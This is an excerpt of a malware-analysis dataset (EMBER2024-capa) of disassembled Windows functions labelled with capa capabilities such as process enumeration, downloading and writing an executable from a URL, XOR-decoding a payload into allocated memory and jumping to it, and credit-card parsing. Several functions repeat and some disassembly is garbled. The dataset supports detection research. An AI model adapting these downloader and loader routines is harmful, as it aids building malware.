joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000e1b1
Capabilities:
Acquire debug privileges
Enumerate process modules
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push ebx
push esi
push edi
push 0x10002784
push 0x10001e7c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x49
mov ebx, eax
xor esi, esi
pop ecx
xor eax, eax
lea edi, [ebp - 0x13c]
and byte [ebp - 0x244], al
mov dword [ebp - 0x140], esi
rep stosd dword es:[edi], eax
push 0x40
lea edi, [ebp - 0x243]
pop ecx
mov dword [ebp - 0x10], esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 1
pop edi
push edi
push 0x10002198
call fcn.1000e3bb
pop ecx
pop ecx
push esi
push 2
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x1000e226
xor eax, eax
jmp 0x1000e3b6
push 0x400
push 0x40
mov dword [ebp - 0x140], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
lea eax, [ebp - 0x140]
push eax
mov dword [ebp - 8], ebx
push dword [ebp - 4]
mov byte [ebx], 0x7f
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1000e391
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp - 0x138]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp dword [ebp - 0x138], 0
mov dword [ebp - 0xc], eax
je 0x1000e371
cmp dword [ebp - 0x138], 4
je 0x1000e371
cmp dword [ebp - 0x138], 8
je 0x1000e371
lea ecx, [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x10]
push 4
push ecx
push eax
call sub.PSAPI.DLL_EnumProcessModules
lea eax, [ebp - 0x244]
push 0x104
push eax
push dword [ebp - 0x10]
push dword [ebp - 0xc]
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [ebp - 0x11c]
push eax
call esi
mov ebx, eax
lea eax, [ebp - 0x244]
push eax
call esi
lea eax, [ebx + eax + 6]
mov ebx, dword [ebp - 8]
add eax, edi
push ebx
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, dword [ebp - 0x14]
jae 0x1000e303
push 0x42
push dword [ebp - 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebx, eax
mov dword [ebp - 8], ebx
lea eax, [ebp - 0x138]
push 4
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x11c]
add edi, 4
push eax
call esi
inc eax
push eax
lea eax, [ebp - 0x11c]
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x11c]
push eax
call esi
lea edi, [edi + eax + 1]
lea eax, [ebp - 0x244]
push eax
call esi
inc eax
push eax
lea eax, [ebp - 0x244]
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
call esi
lea edi, [edi + eax + 1]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1000e262
push 0x42
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push 0x10002198
mov esi, eax
call fcn.1000e3bb
pop ecx
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000e62b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
push esi
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov al, byte [ebp + 0x20]
mov byte [ebp - 8], al
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x1000e5c7
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x1000e81f
Capabilities:
Simulate ctrl alt del

Disassembly:
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_GetThreadDesktop]
push 1
push 0x57
push 0x100027c0
mov esi, eax
call dword [sym.imp.MSVCRT.dll__strnset]
push eax
call fcn.1000e874
add esp, 0x10
test eax, eax
jne 0x1000e84d
pop esi
ret
push 0x2e0003
push 0
push 0x312
push 0xffff
call dword [sym.imp.USER32.dll_PostMessageA]
test esi, esi
je 0x1000e86f
push esi
call fcn.1000e7c9
pop ecx
push 1
pop eax
pop esi
ret

Function at 0x1000e8b9
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push 1
xor esi, esi
pop ebx
mov dword [ebp - 4], esi
push esi
push esi
push esi
push esi
push 0x100025d4
mov dword [ebp - 0x10], esi
mov dword [ebp - 8], ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, esi
mov dword [ebp - 0x14], eax
je 0x1000e901
push esi
push closesocket
push esi
push esi
push dword [ebp + 8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, esi
mov dword [ebp - 0xc], eax
jne 0x1000e908
xor al, al
jmp 0x1000e9a5
push edi
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x1000e98c
mov edi, 0x400
push edi
lea eax, [ebp - 0x414]
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x414]
push edi
push eax
push dword [ebp - 0xc]
call dword [sym.imp.WININET.dll_InternetReadFile]
cmp ebx, esi
je 0x1000e95f
cmp word [ebp - 0x414], 0x5a4d
jne 0x1000e980
lea eax, [ebp - 0x10]
push esi
push eax
lea eax, [ebp - 0x414]
push dword [ebp - 4]
xor ebx, ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 4], esi
jbe 0x1000e983
jmp 0x1000e92a
mov dword [ebp - 8], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push dword [ebp - 0x14]
call edi
xor eax, eax
cmp dword [ebp - 8], esi
pop edi
setne al
pop esi
pop ebx
leave
ret
Function at 0x10019239
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x1001524e
call fcn.100149e4
sub esp, 0x18
push ebx
push esi
mov esi, ecx
call fcn.1000eb77
test al, al
je 0x100192cd
push 0x18
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
xor ebx, ebx
cmp ecx, ebx
mov dword [ebp - 4], ebx
je 0x10019272
call fcn.1000e9a9
mov ecx, eax
jmp 0x10019274
xor ecx, ecx
mov eax, dword [esi + 0x20]
or dword [ebp - 4], 0xffffffff
cmp eax, ebx
mov dword [esi + 0x14], ecx
je 0x1001928d
mov edx, dword [esi + 0x24]
cmp edx, ebx
je 0x1001928d
push edx
push eax
jmp 0x100192c1
push 0x120
push 0x160
call fcn.1000ebf6
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x100192d1
mov ecx, dword [esi + 0x14]
push 0x90
push 0xb0
call fcn.1000ebf6
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x100192d1
mov ecx, dword [esi + 0x14]
push ebx
push ebx
call fcn.1000ebf6
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x100192d1
xor al, al
jmp 0x1001934f
push edi
mov dword [ebp - 0x24], 0x3336324d
mov dword [ebp - 0x20], 0x32335649
mov dword [ebp - 0x1c], 0x3234504d
mov dword [ebp - 0x18], 0x64697663
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x24]
push 0x78
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x1001930b
mov dword [eax], 0x10003d04
mov dword [eax + 0x48], ebx
jmp 0x1001930d
xor eax, eax
push dword [edi]
mov ecx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
push dword [ecx + 8]
mov ecx, eax
call fcn.1000ee3f
test al, al
jne 0x10019341
mov ecx, dword [esi + 0x18]
cmp ecx, ebx
je 0x10019330
mov eax, dword [ecx]
push 1
call dword [eax]
inc dword [ebp - 0x14]
add edi, 4
cmp dword [ebp - 0x14], 4
mov dword [esi + 0x18], ebx
jb 0x100192f4
jmp 0x1001934b
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x24]
mov dword [esi + 0x1c], eax
mov al, byte [ebp - 0xd]
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x40f382
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
jmp 0x40f380
push ebx
push ebp
push esi
mov esi, ecx
mov ecx, dword [esi + 0x10]
cmp ecx, dword [esp + 0x10]
jb 0x40f4a9
mov ebp, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
mov eax, dword [ebp + 0x10]
cmp eax, ebx
jb 0x40f4a9
push edi
mov edi, dword [esp + 0x20]
sub eax, ebx
cmp eax, edi
jae 0x40f3b2
mov edi, eax
or eax, 0xffffffff
sub eax, ecx
cmp eax, edi
ja 0x40f3c6
push 0x45c4a8
call dword [0x473310]
test edi, edi
je 0x40f4a0
lea eax, [ecx + edi]
mov ecx, esi
push 0
push eax
mov dword [esp + 0x28], eax
call fcn.004015c3
test al, al
je 0x40f4a0
mov eax, dword [esi + 0x14]
cmp eax, 8
jb 0x40f3f7
mov ecx, dword [esi]
mov dword [esp + 0x18], ecx
jmp 0x40f3fb
mov dword [esp + 0x18], esi
cmp eax, 8
jb 0x40f404
cmp al, byte [eax]
and byte [eax], al
push ebp
add byte [ebx], dh
add byte gs:[edx], dh
dec esp
add byte [ecx], ah
outsb dx, byte [esi]
add byte [edi], ah
jne 0x40f416
popal
add byte [edi], ah
add byte gs:[ecx], cl
inc esp
add byte [eax], ah
add byte [0x32002000], bh
add byte [eax], dh
add byte [0xd003800], dh
add byte [edx], cl
add byte [eax], dl
jb 0x40f436
outsd dx, dword [esi]
add byte [eax], dh
add byte gs:[edx], dh
je 0x40f440
jns 0x40f442
sub byte [eax], al
push ebx
add byte [ecx], ch
add byte [edx], bh
add byte [eax], ah
add byte [ebx], al
outsd dx, dword [esi]
add byte [ebp], ch
jo 0x40f454
jne 0x40f456
je 0x40f458
add byte gs:[edx], dh
dec esi
add byte [ecx], ah
insd dword es:[edi], dx
add byte [ebp], ah
and byte [eax], al
cmp eax, 0x4c002000
add byte [ecx], al
push eax
add byte [0x4d004500], ch
add byte [eax], dl
sub eax, 0x4f004300
add byte [esi], cl
push esp
add byte [edx], dl
or eax, 0x50000a00
add byte [edx], dh
outsd dx, dword [esi]
add byte [eax], dh
add byte gs:[edx], dh
je 0x40f496
jns 0x40f498
sub byte [eax], al
push ebx
add byte [ecx], ch
add byte [edx], bh
add byte [eax], ah
add byte [ebx], dl
jns 0x40f4a6
and byte [eax], al
push ebx
add byte [ecx], bh
jae 0x40f4a8
je 0x40f4aa
add byte [ebp], ah
insd dword es:[edi], dx
add byte [eax + eax + 0x61], cl
add byte [esi], ch
add byte [di], dh
add byte gs:[ebp], ch
dec esp
add byte [ecx], ah
outsb dx, byte [esi]
add byte [edi], ah
jne 0x40f4b8
popal
add byte [edi], ah
add byte gs:[ecx], cl
inc esp
add byte [eax], ah
add byte [0x32002000], bh
add byte [eax], dh
add byte [0xd003800], dh
add byte [edx], cl
add byte [eax], dl
jb 0x40f4d8
outsd dx, dword [esi]
add byte [eax], dh
add byte gs:[edx], dh
je 0x40f4e2
jns 0x40f4e4
sub byte [eax], al
push ebx
add byte [ecx], ch
add byte [edx], bh
add byte [eax], ah
add byte [ebx], dl
arpl word [eax], ax
jb 0x40f4f4
add byte gs:[ebp], ah
outsb dx, byte [esi]
add byte [eax], bl
and byte [eax], al
cmp eax, 0x31002000
add byte [eax], dh
add byte [edx], dh
add byte [eax + eax], dh
or eax, 0x50000a00
add byte [edx], dh
Function at 0x10009157
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10009166
pop dword [ebp - 0x2c]
mov eax, 0x837803ec
add eax, 0x8c888d7a
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x3653bd8e
sub dword [ebp - 0x3c], 0xe8017843
mov dword [ebp - 0x38], 0x689730bb
sub dword [ebp - 0x38], 0x3663e476
mov dword [ebp - 0x34], 0x8438884a
add dword [ebp - 0x34], 0xc813bbe4
mov dword [ebp - 0x30], 0xfda97c33
sub dword [ebp - 0x30], 0xfda97c33
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x87ccae73
add eax, 0x883411fd
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x33ab7a49
sub dword [ebp - 0x3c], 0xbf3910f3
mov dword [ebp - 0x38], 0xe2fe3eb0
add dword [ebp - 0x38], 0x5e6e22c5
mov dword [ebp - 0x34], 0x2b31d6be
add dword [ebp - 0x34], 0x383d95ae
mov dword [ebp - 0x30], 0x686496d5
sub dword [ebp - 0x30], 0x686496d5
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, 0x332de467
add eax, 0xdcd2dbfd
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3d562
push 0
call eax
mov ecx, 0x15f973b4
add ecx, 0xea06ea55
mov edx, eax
mov edi, 0x1a01ad59
add edi, 0xf5fff6a7
add edi, dword [ebp - 0x2c]
mov esi, 0x574a4217
add esi, 0xc0f13f11
xor dword [ebp - 0x1c], 0x72bcb93b
mov ebx, dword [edi]
sub dword [ebp - 8], 0x8c58b8cd
sub ebx, esi
add dword [ebp - 4], 0xcdf0c9f4
mov dword [edx], ebx
sub dword [ebp - 0x10], edi
add edx, 0x7cbc75e8
sub edx, 0x7cbc75e4
add edi, 0x43755845
add edi, 0xbc8aa7bf
loop 0x10009288
add eax, 0x16af7
xor ebx, ebx
add ebx, eax
add eax, 0xde3a2587
add eax, 0x21c5da7e
mov ecx, 0x9be63926
sub ecx, 0x8be63926
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x46057c
Capabilities:
Parse credit card information

Disassembly:
cmovae ecx, edx
xor edx, ecx
cmp eax, 0x40
mov eax, dword [esp + 0x38]
cmovae ecx, edx
and edx, dword [eax + ebx*8]
and ecx, dword [eax + ebx*8 + 4]
or edx, ecx
je 0x4606a3
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x50]
mov eax, dword [ecx + edx*8]
mov edx, dword [ecx + edx*8 + 4]
mov cl, 0x36
call 0x15ab8d0
mov edi, eax
mov eax, dword [esp + 0x10]
and edi, 1
add edi, dword [esp + 0x3c]
push edi
mov ecx, dword [eax + 0x2c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x130]
call eax
mov edx, dword [eax]
mov edi, dword [eax + 4]
mov eax, dword [esp + 0x10]
push edi
push edx
mov dword [esp + 0x1c], edx
mov ecx, dword [eax + 0x28]
mov eax, dword [ecx]
mov eax, dword [eax + 0xd0]
call eax
mov edx, dword [esp + 0x14]
mov ebx, eax
mov eax, dword [esp + 0x10]
add edx, 1
adc edi, 0
push edi
mov ecx, dword [eax + 0x28]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 0xd0]
call eax
ror byte [ebx + 0x24448bf8], 1
adc byte [ebx - 0x75], dl
dec eax
xor byte [ebx + 0x30928b11], cl
add dword [eax], eax
add bh, bh
rcl byte [edi - 0x75], cl
sbb byte [ebx + 0x44890440], cl
and al, 0x34
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x30]
mov eax, dword [ecx]
mov eax, dword [eax + 0x130]
call eax
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0x30], eax
xor byte [ebx - 0x74efdbbc], cl
dec eax
or byte [ecx - 0x7aebdbb4], cl
leave
je 0x460669
mov edx, dword [esp + 0x10]
mov ecx, dword [eax + 4]
mov eax, ebx
sub eax, dword [edx + 0x20]
mov edx, dword [esp + 0x14]
cmp eax, dword [ecx + edx*8 - 8]
mov edx, dword [esp + 0x10]
je 0x460691
jmp 0x46066b
mov edx, eax
mov ecx, dword [esp + 0x10]
mov eax, ebx
sub eax, dword [edx + 0x20]
sub edi, ebx
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x2c]
push eax
mov word [esp + 0x34], di
call 0xfff6a2d0
test eax, eax
js 0x4613c7
xor eax, eax
test eax, eax
js 0x4613c7
mov ebx, dword [esp + 0x1c]
mov edi, dword [esp + 0x48]
mov eax, dword [esp + 0x18]
add esi, 1
adc eax, 0
mov dword [esp + 0x18], eax
cmp esi, 0x40
jne 0x4606d6
test eax, eax
jne 0x4606d6
xorps xmm0, xmm0
Function at 0x460605
Capabilities:
Parse credit card information

Disassembly:
cmovae ecx, edx
xor edx, ecx
cmp eax, 0x40
mov eax, dword [esp + 0x38]
cmovae ecx, edx
and edx, dword [eax + ebx*8]
and ecx, dword [eax + ebx*8 + 4]
or edx, ecx
je 0x4606a3
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x50]
mov eax, dword [ecx + edx*8]
mov edx, dword [ecx + edx*8 + 4]
mov cl, 0x36
call 0x15ab8d0
mov edi, eax
mov eax, dword [esp + 0x10]
and edi, 1
add edi, dword [esp + 0x3c]
push edi
mov ecx, dword [eax + 0x2c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x130]
call eax
mov edx, dword [eax]
mov edi, dword [eax + 4]
mov eax, dword [esp + 0x10]
push edi
push edx
mov dword [esp + 0x1c], edx
mov ecx, dword [eax + 0x28]
mov eax, dword [ecx]
mov eax, dword [eax + 0xd0]
call eax
mov edx, dword [esp + 0x14]
mov ebx, eax
mov eax, dword [esp + 0x10]
add edx, 1
adc edi, 0
push edi
mov ecx, dword [eax + 0x28]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 0xd0]
call eax
ror byte [ebx + 0x24448bf8], 1
adc byte [ebx - 0x75], dl
dec eax
xor byte [ebx + 0x30928b11], cl
add dword [eax], eax
add bh, bh
rcl byte [edi - 0x75], cl
sbb byte [ebx + 0x44890440], cl
and al, 0x34
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x30]
mov eax, dword [ecx]
mov eax, dword [eax + 0x130]
call eax
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0x30], eax
xor byte [ebx - 0x74efdbbc], cl
dec eax
or byte [ecx - 0x7aebdbb4], cl
leave
je 0x460669
mov edx, dword [esp + 0x10]
mov ecx, dword [eax + 4]
mov eax, ebx
sub eax, dword [edx + 0x20]
mov edx, dword [esp + 0x14]
cmp eax, dword [ecx + edx*8 - 8]
mov edx, dword [esp + 0x10]
je 0x460691
jmp 0x46066b
mov edx, eax
mov ecx, dword [esp + 0x10]
mov eax, ebx
sub eax, dword [edx + 0x20]
sub edi, ebx
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x2c]
push eax
mov word [esp + 0x34], di
call 0xfff6a2d0
test eax, eax
js 0x4613c7
xor eax, eax
test eax, eax
js 0x4613c7
mov ebx, dword [esp + 0x1c]
mov edi, dword [esp + 0x48]
mov eax, dword [esp + 0x18]
add esi, 1
adc eax, 0
mov dword [esp + 0x18], eax
cmp esi, 0x40
jne 0x4606d6
test eax, eax
jne 0x4606d6
xorps xmm0, xmm0
Function at 0x46063d
Capabilities:
Parse credit card information

Disassembly:
cmovae ecx, edx
xor edx, ecx
cmp eax, 0x40
mov eax, dword [esp + 0x38]
cmovae ecx, edx
and edx, dword [eax + ebx*8]
and ecx, dword [eax + ebx*8 + 4]
or edx, ecx
je 0x4606a3
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x50]
mov eax, dword [ecx + edx*8]
mov edx, dword [ecx + edx*8 + 4]
mov cl, 0x36
call 0x15ab8d0
mov edi, eax
mov eax, dword [esp + 0x10]
and edi, 1
add edi, dword [esp + 0x3c]
push edi
mov ecx, dword [eax + 0x2c]
mov eax, dword [ecx]
mov eax, dword [eax + 0x130]
call eax
mov edx, dword [eax]
mov edi, dword [eax + 4]
mov eax, dword [esp + 0x10]
push edi
push edx
mov dword [esp + 0x1c], edx
mov ecx, dword [eax + 0x28]
mov eax, dword [ecx]
mov eax, dword [eax + 0xd0]
call eax
mov edx, dword [esp + 0x14]
mov ebx, eax
mov eax, dword [esp + 0x10]
add edx, 1
adc edi, 0
push edi
mov ecx, dword [eax + 0x28]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 0xd0]
call eax
ror byte [ebx + 0x24448bf8], 1
adc byte [ebx - 0x75], dl
dec eax
xor byte [ebx + 0x30928b11], cl
add dword [eax], eax
add bh, bh
rcl byte [edi - 0x75], cl
sbb byte [ebx + 0x44890440], cl
and al, 0x34
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x30]
mov eax, dword [ecx]
mov eax, dword [eax + 0x130]
call eax
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0x30], eax
xor byte [ebx - 0x74efdbbc], cl
dec eax
or byte [ecx - 0x7aebdbb4], cl
leave
je 0x460669
mov edx, dword [esp + 0x10]
mov ecx, dword [eax + 4]
mov eax, ebx
sub eax, dword [edx + 0x20]
mov edx, dword [esp + 0x14]
cmp eax, dword [ecx + edx*8 - 8]
mov edx, dword [esp + 0x10]
je 0x460691
jmp 0x46066b
mov edx, eax
mov ecx, dword [esp + 0x10]
mov eax, ebx
sub eax, dword [edx + 0x20]
sub edi, ebx
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x2c]
push eax
mov word [esp + 0x34], di
call 0xfff6a2d0
test eax, eax
js 0x4613c7
xor eax, eax
test eax, eax
js 0x4613c7
mov ebx, dword [esp + 0x1c]
mov edi, dword [esp + 0x48]
mov eax, dword [esp + 0x18]
add esi, 1
adc eax, 0
mov dword [esp + 0x18], eax
cmp esi, 0x40
jne 0x4606d6
test eax, eax
jne 0x4606d6
xorps xmm0, xmm0
Function at 0x46088d
Capabilities:
Parse credit card information

Disassembly:
ror dword [edi], 1
test dh, bh
add byte [eax], al
add byte [ebx - 0x74cbdbbc], cl
dec esp
and al, 0x50

Function at 0x4608b0
Capabilities:
Parse credit card information

Disassembly:
mov eax, dword [ecx]
mov eax, dword [eax + 0x130]
call eax
mov edx, dword [eax]
mov edi, dword [eax + 4]
mov eax, dword [esp + 0x10]
push edi
push edx
mov dword [esp + 0x1c], edx
mov ecx, dword [eax + 0x28]
mov eax, dword [ecx]
mov eax, dword [eax + 0xd0]
call eax
mov edx, dword [esp + 0x14]
mov ebx, eax
mov eax, dword [esp + 0x10]
add edx, 1
adc edi, 0
push edi
mov ecx, dword [eax + 0x28]
push edx
mov eax, dword [ecx]
mov eax, dword [eax + 0xd0]
call eax
mov edi, eax
mov eax, dword [esp + 0x10]
push ebx
mov ecx, dword [eax + 0x30]
mov edx, dword [ecx]
mov edx, dword [edx + 0x130]
call edx
push edi
mov ebx, dword [eax]

Function at 0x460a84
Capabilities:
Parse credit card information

Disassembly:
call edx
push edi
mov ebx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + 0x30]
mov eax, dword [ecx]
mov eax, dword [eax + 0x130]
call eax
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 8]
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x460ad5
mov edx, dword [esp + 0x10]
mov ecx, dword [eax + 4]
mov eax, ebx
sub eax, dword [edx + 0x20]
mov edx, dword [esp + 0x14]
cmp eax, dword [ecx + edx*8 - 8]
mov edx, dword [esp + 0x10]
je 0x460afd
jmp 0x460ad7
mov edx, eax
mov ecx, dword [esp + 0x10]
mov eax, ebx
sub eax, dword [edx + 0x20]
sub edi, ebx
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x2c]
push eax
mov word [esp + 0x34], di
call 0xfff6a2d0
test eax, eax
js 0x4613c7
xor eax, eax
test eax, eax
js 0x4613c7
mov ebx, dword [esp + 0x1c]
mov edi, dword [esp + 0x48]
mov eax, dword [esp + 0x18]
add esi, 1
adc eax, 0
mov dword [esp + 0x18], eax
cmp esi, 0x40
jne 0x460b42
test eax, eax
jne 0x460b42
xorps xmm0, xmm0
add ebx, 1
movlpd qword [esp + 0x24], xmm0
mov eax, dword [esp + 0x28]
mov esi, dword [esp + 0x24]
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
Function at 0x461875
Capabilities:
Parse credit card information

Disassembly:
add ecx, eax
call 0x24921b82
sbb byte [ecx - 0x75], dl
dec esp
and al, 0x20
call 0xfff69dd0
test eax, eax
js 0x468044
mov ecx, dword [esp + 0x10]
add esi, 1
mov edx, dword [esp + 0x28]
adc edi, 0
add ecx, 0xffffffff
mov dword [esp + 0x10], ecx
adc edx, 0xffffffff
mov dword [esp + 0x28], edx
mov eax, ecx
or eax, edx
je 0x4634c0
cmp dword [esp + 0x38], 0
jg 0x46192a
jl 0x4618c5
cmp dword [esp + 0x30], 7
ja 0x46192a
xor edx, edx
xor ecx, ecx
mov eax, esi
bts edx, eax
cmp eax, 0x20
cmovae ecx, edx
xor edx, ecx
cmp eax, 0x40
cmovae ecx, edx
and edx, dword [ebx]
and ecx, dword [ebx + 4]
or edx, ecx
je 0x46190e
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
shrd ecx, eax, 7
and ecx, 1
shr eax, 7
add ecx, dword [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x20]
call 0xfff69dd0
test eax, eax
js 0x468044
mov ecx, dword [esp + 0x10]
add esi, 1
mov edx, dword [esp + 0x28]
adc edi, 0
add ecx, 0xffffffff
mov dword [esp + 0x10], ecx
adc edx, 0xffffffff
mov dword [esp + 0x28], edx
mov eax, ecx
or eax, edx
je 0x4634c0
cmp dword [esp + 0x38], 0
jg 0x4619a9
jl 0x461944
cmp dword [esp + 0x30], 8
ja 0x4619a9
xor edx, edx
xor ecx, ecx
mov eax, esi
bts edx, eax
cmp eax, 0x20
cmovae ecx, edx
xor edx, ecx
cmp eax, 0x40
cmovae ecx, edx
and edx, dword [ebx]
and ecx, dword [ebx + 4]
or edx, ecx
je 0x46198d
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
shrd ecx, eax, 8
and ecx, 1

Function at 0x4619b3
Capabilities:
Parse credit card information

Disassembly:
cmp dword [esp + 0x38], 0
jg 0x461a28
jl 0x4619c3
cmp dword [esp + 0x30], 9
ja 0x461a28
xor edx, edx
xor ecx, ecx
mov eax, esi
bts edx, eax
cmp eax, 0x20
cmovae ecx, edx
xor edx, ecx
cmp eax, 0x40
cmovae ecx, edx
and edx, dword [ebx]
and ecx, dword [ebx + 4]
or edx, ecx
je 0x461a0c
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
or byte [ebx - 0x53f0fbc0], cl
ror dword [ecx], 0x83
loope fcn.004619f4
shr eax, 9
add ecx, dword [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x20]
call 0xfff69dd0
test eax, eax
js 0x468044
mov ecx, dword [esp + 0x10]
add esi, 1
mov edx, dword [esp + 0x28]
adc edi, 0
add ecx, 0xffffffff
mov dword [esp + 0x10], ecx
adc edx, 0xffffffff
mov dword [esp + 0x28], edx
mov eax, ecx
or eax, edx
je 0x4634c0
cmp dword [esp + 0x38], 0
jg 0x461aa7
jl 0x461a42
cmp dword [esp + 0x30], 0xa
ja 0x461aa7
xor edx, edx
xor ecx, ecx
mov eax, esi
bts edx, eax
cmp eax, 0x20
cmovae ecx, edx
xor edx, ecx
cmp eax, 0x40
cmovae ecx, edx
and edx, dword [ebx]
and ecx, dword [ebx + 4]
or edx, ecx
je 0x461a8b
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
shrd ecx, eax, 0xa
and ecx, 1
shr eax, 0xa
add ecx, dword [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x20]
call 0xfff69dd0
test eax, eax
js 0x468044
mov ecx, dword [esp + 0x10]
add esi, 1
mov edx, dword [esp + 0x28]
adc edi, 0
add ecx, 0xffffffff
mov dword [esp + 0x10], ecx
adc edx, 0xffffffff
mov dword [esp + 0x28], edx
mov eax, ecx
or eax, edx
je 0x4634c0
cmp dword [esp + 0x38], 0
jg 0x461b26
jl 0x461ac1
cmp dword [esp + 0x30], 0xb
ja 0x461b26
xor edx, edx
xor ecx, ecx
mov eax, esi
